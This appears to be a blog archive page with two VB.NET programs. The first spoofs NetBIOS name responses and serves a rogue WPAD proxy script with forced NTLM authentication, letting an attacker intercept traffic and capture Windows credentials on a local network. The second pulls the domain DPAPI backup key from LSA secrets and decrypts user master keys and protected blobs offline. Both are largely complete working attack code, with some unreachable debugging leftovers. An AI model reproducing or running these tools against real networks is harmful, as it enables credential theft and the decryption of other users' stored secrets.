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Imports System.Net.Sockets Imports System.Net Imports System.Threading Imports System.Text Public Class Form1 Dim MyIpAddress As String Dim MyIpSubnet As String Dim IPRange As String = 255 Dim RedirectTo As String Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing End End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Encode("NTFS2") Decode("EOFEEGFDDCCACACACACACACACACACAAA") End Dim MyThread As New Thread(AddressOf WebServerThread) MyThread.IsBackground = True MyThread.Start() MyIpAddress = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString Dim IpAddr() As String = MyIpAddress.Split(".") MyIpSubnet = IpAddr(0) & "." & IpAddr(1) & "." & IpAddr(2) & "." Try Label1.Text = MyIpSubnet TextBox1.Text = "0" Catch ex As Exception End Try Try TextBox2.Text = MyIpAddress Catch ex As Exception End Try End Sub Private Sub Encode(ByVal NameToEncode As String) NameToEncode.PadRight(15, " ") Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToEncode) ReDim Preserve BytesToConvert(15) Debug.WriteLine(BytesToConvert.Length * 2) For i = 0 To BytesToConvert.Length - 1 Dim FirstNibble As Integer = (CInt(BytesToConvert(i)) And &HF0) >> 4 Dim SecondNibble As Integer = CInt(BytesToConvert(i)) And &HF FirstNibble += 65 SecondNibble += 65 Debug.Write(Chr(FirstNibble)) Debug.Write(Chr(SecondNibble)) Next Debug.WriteLine("") End Sub Private Function Decode(ByVal NameToResolve As String) As String Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToResolve) ReDim Preserve BytesToConvert(31) For i = 0 To BytesToConvert.Length - 1 Step 2 BytesToConvert(i) -= 65 BytesToConvert(i + 1) -= 65 Dim FullByte As Integer = (BytesToConvert(i) << 4) + BytesToConvert(i + 1) If FullByte <> 0 Then Debug.Write(Chr(FullByte)) Decode &= Chr(FullByte) End If Next Return Decode End Function Dim UdpPort_msg As Integer = 137 Dim soUdp_msg As Socket Private Sub MyThreadFunc() Dim received_s As Byte() = New Byte(2047) {} Dim tmpIpEndPoint As New IPEndPoint(IPAddress.Any, UdpPort_msg) Dim remoteEP As EndPoint = (tmpIpEndPoint) Dim MyEndPoint As IPEndPoint While True While soUdp_msg.Poll(0, SelectMode.SelectRead) Dim sz As Integer = soUdp_msg.ReceiveFrom(received_s, remoteEP) ' do some work MyEndPoint = DirectCast(remoteEP, IPEndPoint) If IPRange <> "255" And IPRange <> "0" Then If MyEndPoint.Address.ToString <> IPAddress.Parse(MyIpSubnet & IPRange).ToString Then Continue While End If For i = 0 To sz - 1 If i >= 13 And i <= 45 Then Debug.Write("-" & Hex(received_s(i)) & " ") Else Debug.Write(Hex(received_s(i)) & " ") End If Next Debug.WriteLine(vbCrLf & "-----------------------------------------") Dim TransactionID() As Byte = {received_s(0), received_s(1)} Dim Flags() As Byte = {&H85, &H0} Dim Questions() As Byte = {&H0, &H0} Dim AnswerRRs() As Byte = {&H0, &H1} Dim AuthorityRRS() As Byte = {&H0, &H0} Dim AdditionalRRs() As Byte = {&H0, &H0} Dim Name As String = System.Text.ASCIIEncoding.ASCII.GetString(received_s, 13, 32) Debug.WriteLine("======== " & Name & " =====" & MyEndPoint.Address.ToString & "===") Dim TypeOfNB As Byte() = {received_s(46), received_s(47)} Dim TypeOfClass As Byte() = {received_s(48), received_s(49)} Dim TTL As Byte() = {&H0, &H4, &H93, &HE0} Dim DataLength As Byte() = {&H0, &H6} Dim FlagsBNode As Byte() = {&H0, &H0} Dim SpoofedIP As Byte() = {CInt(RedirectTo.Split(".")(0)), CInt(RedirectTo.Split(".")(1)), CInt(RedirectTo.Split(".")(2)), CInt(RedirectTo.Split(".")(3))} If IPRange <> 0 Then TextBox3.Text &= "Spoofed - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf Else TextBox3.Text &= "I Spy - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf Application.DoEvents() Thread.Sleep(50) Continue While End If Dim ii As Int32 = 0 Dim ResponseBuffer(61) As Byte ResponseBuffer(0) = TransactionID(0) ResponseBuffer(1) = TransactionID(1) ResponseBuffer(2) = Flags(0) ResponseBuffer(3) = Flags(1) ResponseBuffer(4) = Questions(0) ResponseBuffer(5) = Questions(1) ResponseBuffer(6) = AnswerRRs(0) ResponseBuffer(7) = AnswerRRs(1) ResponseBuffer(8) = AuthorityRRS(0) ResponseBuffer(9) = AuthorityRRS(1) ResponseBuffer(10) = AdditionalRRs(0) ResponseBuffer(11) = AdditionalRRs(1) ResponseBuffer(12) = &H20 'Length Of response Array.Copy(received_s, 13, ResponseBuffer, 13, 32) ii = 46 ResponseBuffer(ii) = TypeOfNB(0) ResponseBuffer(ii + 1) = TypeOfNB(1) ResponseBuffer(ii + 2) = TypeOfClass(0) ResponseBuffer(ii + 3) = TypeOfClass(1) ResponseBuffer(ii + 4) = TTL(0) ResponseBuffer(ii + 5) = TTL(1) ResponseBuffer(ii + 6) = TTL(2) ResponseBuffer(ii + 7) = TTL(3) ResponseBuffer(ii + 8) = DataLength(0) ResponseBuffer(ii + 9) = DataLength(1) ResponseBuffer(ii + 10) = FlagsBNode(0) ResponseBuffer(ii + 11) = FlagsBNode(1) ResponseBuffer(ii + 12) = SpoofedIP(0) ResponseBuffer(ii + 13) = SpoofedIP(1) ResponseBuffer(ii + 14) = SpoofedIP(2) ResponseBuffer(ii + 15) = SpoofedIP(3) 'MyEndPoint.Address = IPAddress.Parse("10.6.13.89") soUdp_msg.SendTo(ResponseBuffer, MyEndPoint) End While Application.DoEvents() Thread.Sleep(50) End While ' sleep so receive thread does not dominate computer End Sub Private Sub WebServerThread() Dim serverSocket As New TcpListener(IPAddress.Any, 80) Dim requestCount As Integer Dim clientSocket As TcpClient serverSocket.Start() Debug.WriteLine("Server Started") clientSocket = serverSocket.AcceptTcpClient() Debug.WriteLine("Accept connection from client") requestCount = 0 While (True) Try requestCount = requestCount + 1 Dim networkStream As NetworkStream = clientSocket.GetStream() Dim bytesFrom(10024) As Byte networkStream.Read(bytesFrom, 0, CInt(clientSocket.ReceiveBufferSize)) Dim dataFromClient As String = System.Text.Encoding.ASCII.GetString(bytesFrom) Debug.WriteLine("Data from client - " + dataFromClient) Dim Response As String = vbNullString If dataFromClient.Contains("/favicon.ico") Or dataFromClient.Contains("GET / HTTP/") Then Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _ "Content-Length: 0" & vbCrLf & _ "Content-Type: text/html" & vbCrLf & _ "Server: Microsoft-IIS/6.0" & vbCrLf & vbCrLf End If If dataFromClient.Contains("wpad.dat") Then Dim PAC As String = "function FindProxyForURL(url, host) {return ""PROXY " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & ":8080; DIRECT"";}" Response = "HTTP/1.1 200 OK" & vbCrLf & "Content-Length: " & PAC.Length & vbCrLf & "Content-Type: application/x-ns-proxy-autoconfig" & vbCrLf & vbCrLf & PAC End If If dataFromClient.Contains("Auth") Then Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _ "Content-Length: 0" & vbCrLf & _ "Content-Type: text/html" & vbCrLf & _ "Server: Microsoft-IIS/6.0" & vbCrLf & _ "WWW-Authenticate: Negotiate" & vbCrLf & _ "WWW-Authenticate: NTLM" & vbCrLf & vbCrLf End If Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(Response) networkStream.Write(sendBytes, 0, sendBytes.Length) networkStream.Flush() Debug.WriteLine(Response) Catch ex As Exception MsgBox(ex.ToString) End Try End While clientSocket.Close() serverSocket.Stop() Debug.WriteLine("exit") End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click IPRange = TextBox1.Text RedirectTo = TextBox2.Text soUdp_msg = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) Dim localIpEndPoint_msg As New IPEndPoint(IPAddress.Any, UdpPort_msg) soUdp_msg.Bind(localIpEndPoint_msg) Button1.Enabled = False MyThreadFunc() Exit Sub Dim Mythread As New Thread(AddressOf MyThreadFunc) Mythread.IsBackground = True Mythread.Start() End Sub Private Sub TextBox3_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged TextBox3.Select(TextBox3.Text.Length, 0) TextBox3.ScrollToCaret() End Sub End Class |
Monthly Archives: July 2019
Decrypting DPAPI Offline with Protected Keys in folder
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Imports System Imports System.Text Imports System.Runtime.InteropServices Imports System.ComponentModel Imports Microsoft.VisualBasic Imports System.Security.Cryptography Imports System.Security.Principal Imports System.Text.RegularExpressions Imports System.IO Imports System.Xml Imports System.Security Public Class Form1 Dim GMappings As New Dictionary(Of String, String) Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 'Use this website to generate the Base64 values from the Hex Strings 'https://base64.guru/converter/encode/hex Try Dim pvk64 As String = "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQCNx+xLTsR+xN3d0mRGbmG PLACE YOUR MASTER KEY HERE fzhSXebHVG+2Ea2F6BihR8=" Dim backupKeyBytes As Byte() = Convert.FromBase64String(pvk64) Dim Localmappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False) Localmappings = Triage.TriageUserMasterKeys(backupKeyBytes, False) Dim CustomMappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False) CustomMappings = Triage.LoadKeysFromFolder(backupKeyBytes, "C:\Users\MyUserName\Desktop\New folder\Protect") GMappings = Localmappings.Union(CustomMappings).ToDictionary(Function(p) p.Key, Function(p) p.Value) If GMappings.Count = 0 Then Console.WriteLine("[!] No master keys decrypted!" & vbCrLf) Else Console.WriteLine("[*] User master key cache:" & vbCrLf) For Each kvp As KeyValuePair(Of String, String) In GMappings Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value) Next Console.WriteLine() End If DecryptTest() Catch ex As Exception While Not (ex Is Nothing) Console.WriteLine(ex.Message) ex = ex.InnerException End While End Try End Sub Private Sub NativeDecryptTest() Dim text As String = "ThisIsMyEncrptedTest" Dim entropy As String = Nothing Dim description As String Dim encrypted As String Dim decrypted As String Console.WriteLine("Plaintext: {0}" & Chr(13) & Chr(10), text) ' Call DPAPI to encrypt data with user-specific key. encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "") Console.WriteLine("Encrypted with Userkey: {0}" & Chr(13) & Chr(10), encrypted) ' Call DPAPI to encrypt data with user-specific key. encrypted = DPAPI.Encrypt(DPAPI.KeyType.MachineKey, text, entropy, "") Console.WriteLine("Encrypted with SystemKey: {0}" & Chr(13) & Chr(10), encrypted) ' Call DPAPI to decrypt data. decrypted = DPAPI.Decrypt(encrypted, entropy, description) Console.WriteLine("Decrypted: {0} <<<{1}>>>" & Chr(13) & Chr(10), decrypted, description) End Sub Private Sub DecryptTest() Dim blobBytes As Byte() blobBytes = Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAvasm9fxHbkGMktix41J5OAAAAAACAAAAAAADZgAAwAAAABAAAABXxVa3PA56MLNMVKnrdAgfAAAAAASAAACgAAAAEAAAAKwDfmoDSCAXkpDJrW32/bEQAAAA53DM14+h1XhH9DHztLkMnhQAAABRRkW7ulBuOJP2wOHKDJ4OyWo6LA==") Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob") If decBytes.Length <> 0 Then Console.WriteLine() If Helpers.IsUnicode(decBytes) Then Console.WriteLine(" dec(blob) : {0}", System.Text.Encoding.Unicode.GetString(decBytes)) Else Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ") Console.WriteLine(" dec(blob) : {0}", b64DecBytesString) Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(decBytes)) End If End If End Sub Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged Try Dim blobBytes As Byte() 'blobBytes = StringToByteArray("01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bdab26f5fc476e418c92d8b1e35279380000000002000000000003660000c00000001000000057c556b73c0e7a30b34c54a9eb74081f0000000004800000a000000010000000ac037e6a034820179290c9ad6df6fdb110000000e770ccd78fa1d57847f431f3b4b90c9e14000000514645bbba506e3893f6c0e1ca0c9e0ec96a3a2c") blobBytes = StringToByteArray(RichTextBox1.Text.Trim.Replace(vbCr, "").Replace(vbLf, "")) Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob") If decBytes.Length <> 0 Then TextBox2.Text = "" If Helpers.IsUnicode(decBytes) Then TextBox2.Text &= (" dec(blob) : " & System.Text.Encoding.Unicode.GetString(decBytes)) Else Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ") TextBox2.Text &= (" dec(blob) : " & b64DecBytesString) TextBox2.Text &= vbCrLf & "Value: " & System.Text.ASCIIEncoding.ASCII.GetString(decBytes) End If End If Catch ex As Exception TextBox2.Text = "Unable to display" End Try End Sub Public Shared Function StringToByteArray(s As String) As Byte() ' remove any spaces from, e.g. "A0 20 34 34" s = s.Replace(" "c, "") ' make sure we have an even number of digits If (s.Length And 1) = 1 Then Throw New FormatException("Odd string length when even string length Is required.") End If ' calculate the length of the byte array and dim an array to that Dim nBytes = s.Length \ 2 Dim a(nBytes - 1) As Byte ' pick out every two bytes and convert them from hex representation For i = 0 To nBytes - 1 a(i) = Convert.ToByte(s.Substring(i * 2, 2), 16) Next Return a End Function End Class Public Class Backup Public Shared Sub GetBackupKey(ByVal system As String, ByVal Optional outFile As String = "") Dim aSystemName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(system) Dim aWinErrorCode As UInteger = 0 Dim LsaPolicyHandle = IntPtr.Zero Dim aObjectAttributes As Interop.LSA_OBJECT_ATTRIBUTES = New Interop.LSA_OBJECT_ATTRIBUTES aObjectAttributes.Length = 0 aObjectAttributes.RootDirectory = IntPtr.Zero aObjectAttributes.Attributes = 0 aObjectAttributes.SecurityDescriptor = IntPtr.Zero aObjectAttributes.SecurityQualityOfService = IntPtr.Zero Dim aOpenPolicyResult As UInteger = Interop.LsaOpenPolicy(aSystemName, aObjectAttributes, CUInt(Interop.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION), LsaPolicyHandle) aWinErrorCode = Interop.LsaNtStatusToWinError(aOpenPolicyResult) If aWinErrorCode = &H0 Then Dim PrivateData = IntPtr.Zero Dim secretName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED") Dim ntsResult As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, secretName, PrivateData) If ntsResult <> 0 Then Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult) Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message Console.WriteLine(" [X] Error calling LsaRetrievePrivateData {0} : {1}", winErrorCode, errorMessage) Return End If Dim lusSecretData As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateData, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING) Dim guidBytes = New Byte(lusSecretData.Length - 1) {} Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length) Dim backupKeyGuid = New Guid(guidBytes) Console.WriteLine("[*] Preferred backupkey Guid : {0}", backupKeyGuid.ToString) Dim backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString) Console.WriteLine("[*] Full preferred backupKeyName : {0}", backupKeyName) Dim backupKeyLSA As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(backupKeyName) Dim PrivateDataKey = IntPtr.Zero Dim ntsResult2 As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, backupKeyLSA, PrivateDataKey) If ntsResult2 <> 0 Then Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult2) Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message Console.WriteLine(vbCrLf & "[X] Error calling LsaRetrievePrivateData ({0}) : {1}" & vbCrLf, winErrorCode, errorMessage) Return End If Dim backupKeyBytes As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateDataKey, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING) Dim backupKey = New Byte(backupKeyBytes.Length - 1) {} Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length) Dim versionArray = New Byte(3) {} Array.Copy(backupKey, 0, versionArray, 0, 4) Dim version = BitConverter.ToInt32(versionArray, 0) Dim keyLenArray = New Byte(3) {} Array.Copy(backupKey, 4, keyLenArray, 0, 4) Dim keyLen = BitConverter.ToInt32(keyLenArray, 0) Dim certLenArray = New Byte(3) {} Array.Copy(backupKey, 8, certLenArray, 0, 4) Dim certLen = BitConverter.ToInt32(certLenArray, 0) Dim backupKeyPVK = New Byte(keyLen + 24 - 1) {} Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen) backupKeyPVK(0) = &H1E backupKeyPVK(1) = &HF1 backupKeyPVK(2) = &HB5 backupKeyPVK(3) = &HB0 backupKeyPVK(8) = 1 Dim lenBytes = BitConverter.GetBytes(CUInt(keyLen)) Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4) Dim Key As String = Nothing If String.IsNullOrEmpty(outFile) Then Dim base64Key = Convert.ToBase64String(backupKeyPVK) Console.WriteLine("[*] Key :") For Each line As String In Helpers.Split(base64Key, 80) Console.WriteLine(" {0}", line) Key &= line Next Else Dim fs As FileStream = File.Create(outFile) Dim bw = New BinaryWriter(fs) bw.Write(backupKeyPVK) bw.Close() fs.Close() Console.WriteLine("[*] Backup key written to : {0}", outFile) End If Interop.LsaFreeMemory(PrivateData) Interop.LsaClose(LsaPolicyHandle) Else Dim errorMessage As String = New Win32Exception(CInt(aWinErrorCode)).Message Console.WriteLine(vbCrLf & "[X] Error calling LsaOpenPolicy ({0}) : {1}" & vbCrLf, aWinErrorCode, errorMessage) End If End Sub End Class Public Class Interop Public Enum CryptAlgClass As UInteger ALG_CLASS_ANY = 0 ALG_CLASS_SIGNATURE = 1 << 13 ALG_CLASS_MSG_ENCRYPT = 2 << 13 ALG_CLASS_DATA_ENCRYPT = 3 << 13 ALG_CLASS_HASH = 4 << 13 ALG_CLASS_KEY_EXCHANGE = 5 << 13 ALG_CLASS_ALL = 7 << 13 End Enum Public Enum CryptAlgType As UInteger ALG_TYPE_ANY = 0 ALG_TYPE_DSS = 1 << 9 ALG_TYPE_RSA = 2 << 9 ALG_TYPE_BLOCK = 3 << 9 ALG_TYPE_STREAM = 4 << 9 ALG_TYPE_DH = 5 << 9 ALG_TYPE_SECURECHANNEL = 6 << 9 End Enum Public Enum CryptAlgSID As UInteger ALG_SID_ANY = 0 ALG_SID_RSA_ANY = 0 ALG_SID_RSA_PKCS = 1 ALG_SID_RSA_MSATWORK = 2 ALG_SID_RSA_ENTRUST = 3 ALG_SID_RSA_PGP = 4 ALG_SID_DSS_ANY = 0 ALG_SID_DSS_PKCS = 1 ALG_SID_DSS_DMS = 2 ALG_SID_ECDSA = 3 ALG_SID_DES = 1 ALG_SID_3DES = 3 ALG_SID_DESX = 4 ALG_SID_IDEA = 5 ALG_SID_CAST = 6 ALG_SID_SAFERSK64 = 7 ALG_SID_SAFERSK128 = 8 ALG_SID_3DES_112 = 9 ALG_SID_CYLINK_MEK = 12 ALG_SID_RC5 = 13 ALG_SID_AES_128 = 14 ALG_SID_AES_192 = 15 ALG_SID_AES_256 = 16 ALG_SID_AES = 17 ALG_SID_SKIPJACK = 10 ALG_SID_TEK = 11 ALG_SID_RC2 = 2 ALG_SID_RC4 = 1 ALG_SID_SEAL = 2 ALG_SID_DH_SANDF = 1 ALG_SID_DH_EPHEM = 2 ALG_SID_AGREED_KEY_ANY = 3 ALG_SID_KEA = 4 ALG_SID_ECDH = 5 ALG_SID_MD2 = 1 ALG_SID_MD4 = 2 ALG_SID_MD5 = 3 ALG_SID_SHA = 4 ALG_SID_SHA1 = 4 ALG_SID_MAC = 5 ALG_SID_RIPEMD = 6 ALG_SID_RIPEMD160 = 7 ALG_SID_SSL3SHAMD5 = 8 ALG_SID_HMAC = 9 ALG_SID_TLS1PRF = 10 ALG_SID_HASH_REPLACE_OWF = 11 ALG_SID_SHA_256 = 12 ALG_SID_SHA_384 = 13 ALG_SID_SHA_512 = 14 ALG_SID_SSL3_MASTER = 1 ALG_SID_SCHANNEL_MASTER_HASH = 2 ALG_SID_SCHANNEL_MAC_KEY = 3 ALG_SID_PCT1_MASTER = 4 ALG_SID_SSL2_MASTER = 5 ALG_SID_TLS1_MASTER = 6 ALG_SID_SCHANNEL_ENC_KEY = 7 ALG_SID_ECMQV = 1 End Enum Public Enum CryptAlg As UInteger CALG_MD2 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD2 CALG_MD4 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD4 CALG_MD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5 CALG_SHA = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA CALG_SHA1 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA1 CALG_MAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MAC CALG_RSA_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY CALG_DSS_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_DSS_ANY CALG_NO_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ANY CALG_RSA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY CALG_DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DES CALG_3DES_112 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES_112 CALG_3DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES CALG_DESX = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DESX CALG_RC2 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC2 CALG_RC4 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_RC4 CALG_SEAL = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_SEAL CALG_DH_SF = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_SANDF CALG_DH_EPHEM = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_EPHEM CALG_AGREEDKEY_ANY = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_AGREED_KEY_ANY CALG_KEA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_KEA CALG_HUGHES_MD5 = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5 CALG_SKIPJACK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_SKIPJACK CALG_TEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_TEK CALG_CYLINK_MEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_CYLINK_MEK CALG_SSL3_SHAMD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SSL3SHAMD5 CALG_SSL3_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL3_MASTER CALG_SCHANNEL_MASTER_HASH = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MASTER_HASH CALG_SCHANNEL_MAC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MAC_KEY CALG_SCHANNEL_ENC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_ENC_KEY CALG_PCT1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_PCT1_MASTER CALG_SSL2_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL2_MASTER CALG_TLS1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_TLS1_MASTER CALG_RC5 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC5 CALG_HMAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HMAC CALG_TLS1PRF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_TLS1PRF CALG_HASH_REPLACE_OWF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HASH_REPLACE_OWF CALG_AES_128 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_128 CALG_AES_192 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_192 CALG_AES_256 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_256 CALG_AES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES CALG_SHA_256 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_256 CALG_SHA_384 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_384 CALG_SHA_512 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_512 CALG_ECDH = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_ECDH CALG_ECMQV = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ECMQV CALG_ECDSA = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_ECDSA End Enum <StructLayout(LayoutKind.Sequential)> Public Structure LSA_UNICODE_STRING Implements IDisposable Public Length As UShort Public MaximumLength As UShort Public buffer As IntPtr Public Sub New(ByVal s As String) Length = CUShort(s.Length * 2) MaximumLength = CUShort(Length + 2) buffer = Marshal.StringToHGlobalUni(s) End Sub Public Sub Dispose() Implements IDisposable.Dispose Marshal.FreeHGlobal(buffer) buffer = IntPtr.Zero End Sub Public Overrides Function ToString() As String Return Marshal.PtrToStringUni(buffer) End Function End Structure Public Enum POLICY_INFORMATION_CLASS PolicyAuditLogInformation = 1 PolicyAuditEventsInformation PolicyPrimaryDomainInformation PolicyPdAccountInformation PolicyAccountDomainInformation PolicyLsaServerRoleInformation 